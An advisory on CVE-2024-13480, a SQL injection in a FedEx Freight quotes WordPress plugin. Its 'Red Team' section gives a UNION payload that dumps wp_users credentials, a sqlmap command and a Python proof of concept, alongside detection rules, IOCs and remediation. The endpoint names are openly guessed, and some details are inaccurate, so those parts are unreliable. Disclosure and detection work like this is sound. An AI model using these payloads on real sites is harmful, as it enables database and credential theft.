CVE-2024-13480

Executive Summary

CVE-2024-13480 is a critical unauthenticated SQL Injection vulnerability discovered in the LTL Freight Quotes – For Customers of FedEx Freight WordPress plugin, affecting all versions up to and including 3.4.1. The flaw resides in the edit_id and dropship_edit_id parameters, where insufficient input escaping and lack of prepared statements allow an attacker to inject arbitrary SQL queries. This can lead to the extraction of sensitive data from the WordPress database, including user credentials, session tokens, and other confidential information. The vulnerability is remotely exploitable without authentication, making it a high-priority threat for any site using this plugin.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and is maintained by the vendor (FedEx). As of this report, no official patch has been released. Site administrators should immediately disable the plugin until a patched version is available. The lack of a patch increases the risk of supply chain attacks, as malicious actors could exploit unpatched installations to compromise the entire WordPress instance.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The high confidentiality impact combined with the low attack complexity and no required privileges makes this a severe threat. An attacker can silently extract the entire database without any user interaction.

Deep Dive & Mechanics

The vulnerability is a classic SQL Injection (CWE-89) in the WordPress plugin's handling of the edit_id and dropship_edit_id parameters. The plugin likely uses these parameters to fetch or update shipping quotes, but fails to properly sanitize the input before incorporating it into SQL queries.

Root Cause:

• The plugin uses $_GET or $_POST parameters directly in SQL queries without using WordPress's $wpdb->prepare() or proper escaping functions like esc_sql().
• The edit_id and dropship_edit_id parameters are passed directly into a SQL WHERE clause, allowing an attacker to break out of the intended query structure.

Attack Flow:

1. An unauthenticated attacker sends a crafted HTTP request to a vulnerable endpoint (e.g., /wp-admin/admin-ajax.php or a custom page).
2. The request includes a malicious value for edit_id or dropship_edit_id, such as 1 UNION SELECT user_login,user_pass FROM wp_users--.
3. The plugin concatenates this value into an SQL query without proper escaping.
4. The database executes the injected query, returning sensitive data from other tables.
5. The attacker receives the data in the HTTP response.

Example vulnerable code snippet (conceptual):

$edit_id = $_GET['edit_id'];
$query = "SELECT * FROM wp_quotes WHERE id = $edit_id";
$results = $wpdb->get_results($query);

Patched code (expected):

$edit_id = intval($_GET['edit_id']);
$query = $wpdb->prepare("SELECT * FROM wp_quotes WHERE id = %d", $edit_id);
$results = $wpdb->get_results($query);

Vulnerable vs. Patched Code

Vulnerable (<= 3.4.1):

// No input validation or prepared statement
$edit_id = $_REQUEST['edit_id'];
$sql = "SELECT * FROM {$wpdb->prefix}ltl_quotes WHERE id = $edit_id";
$result = $wpdb->get_row($sql);

Patched (expected):

// Use intval for numeric IDs and prepared statements
$edit_id = intval($_REQUEST['edit_id']);
$sql = $wpdb->prepare("SELECT * FROM {$wpdb->prefix}ltl_quotes WHERE id = %d", $edit_id);
$result = $wpdb->get_row($sql);

The patched version ensures that the edit_id is treated as an integer and uses $wpdb->prepare() to safely parameterize the query, preventing SQL injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress instance with the vulnerable plugin (<= 3.4.1) installed and activated.
• Knowledge of the target's base URL.

Exploitation Steps:

1. Identify the vulnerable endpoint: The plugin likely exposes AJAX actions or custom pages. Common endpoints include:

   • /wp-admin/admin-ajax.php?action=ltl_freight_edit&edit_id=1
   • /wp-admin/admin-ajax.php?action=ltl_freight_dropship_edit&dropship_edit_id=1

2. Craft a SQL injection payload: Use a UNION-based injection to extract data.

   http://target.com/wp-admin/admin-ajax.php?action=ltl_freight_edit&edit_id=1 UNION SELECT user_login,user_pass,user_email,user_registered FROM wp_users--
   

3. Extract credentials: The response will include the injected data. The user_pass field contains MD5 hashes (WordPress default), which can be cracked offline.

4. Automate with SQLMap:

   sqlmap -u "http://target.com/wp-admin/admin-ajax.php?action=ltl_freight_edit&edit_id=1" --batch --dbs
   

Proof of Concept (PoC) - Python:

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
params = {
    "action": "ltl_freight_edit",
    "edit_id": "1 UNION SELECT user_login,user_pass,user_email,user_registered FROM wp_users--"
}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor for SQL injection patterns in HTTP requests, especially UNION, SELECT, FROM, and -- in parameters.
• Look for abnormal response sizes or database error messages in logs.

Honeypot:

• Deploy a fake WordPress instance with the vulnerable plugin to capture attacker payloads.

Lab Setup:

1. Install WordPress on a local server (e.g., using Docker).
2. Download and install the vulnerable plugin (version 3.4.1).
3. Create a test user and some dummy quote data.
4. Execute the PoC to verify the vulnerability.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing edit_id or dropship_edit_id with SQL keywords (e.g., UNION, SELECT, --).
• Unusual response sizes from AJAX endpoints.
• Database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

Host IOCs:

• Unexpected entries in the WordPress wp_options table (e.g., new admin users).
• Modified plugin files (e.g., ltl-freight-quotes-fedex-freight.php).
• Suspicious cron jobs or scheduled tasks.

Log IOCs:

• Apache/Nginx access logs showing admin-ajax.php requests with long query strings.
• PHP error logs containing SQL syntax errors.

Detection Engineering

YARA Rule

rule CVE_2024_13480_SQLi_WordPress {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-13480 in LTL Freight Quotes plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-13480"
    strings:
        $sqli1 = /edit_id=[^&]*(\%27|%22|'|"|UNION|SELECT|FROM|WHERE|--|#|;)/ nocase
        $sqli2 = /dropship_edit_id=[^&]*(\%27|%22|'|"|UNION|SELECT|FROM|WHERE|--|#|;)/ nocase
        $plugin = "ltl-freight-quotes-fedex-freight" nocase
    condition:
        any of ($sqli*) and $plugin
}

Sigma Rule

title: CVE-2024-13480 SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against the LTL Freight Quotes plugin
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13480
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'edit_id='
            - 'dropship_edit_id='
        cs-uri-query|re: '(UNION|SELECT|FROM|WHERE|--|#|;|%27|%22)'
    condition: selection
falsepositives:
    - Legitimate use of the plugin with special characters
level: high
tags:
    - attack.t1190
    - cve.2024.13480

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13480 SQL Injection Attempt"; flow:to_server; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=ltl_freight_edit"; http_uri; pcre:"/(edit_id|dropship_edit_id)=[^&]*(UNION|SELECT|FROM|WHERE|--|#|;)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Review database logs for any signs of exploitation (e.g., unexpected queries).
3. Change all WordPress admin passwords and force password resets for users.

Long-term Fixes:

• The vendor must release a patched version that uses prepared statements ($wpdb->prepare()) and input validation.
• Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.
• Regularly update all WordPress plugins and core.

Workaround:

• If the plugin is critical, consider using a code snippet to override the vulnerable functions with sanitized versions (advanced users only).

Valters IT Signature:

Valters IT
Cybersecurity & DevSecOps Expert
https://valters-it.com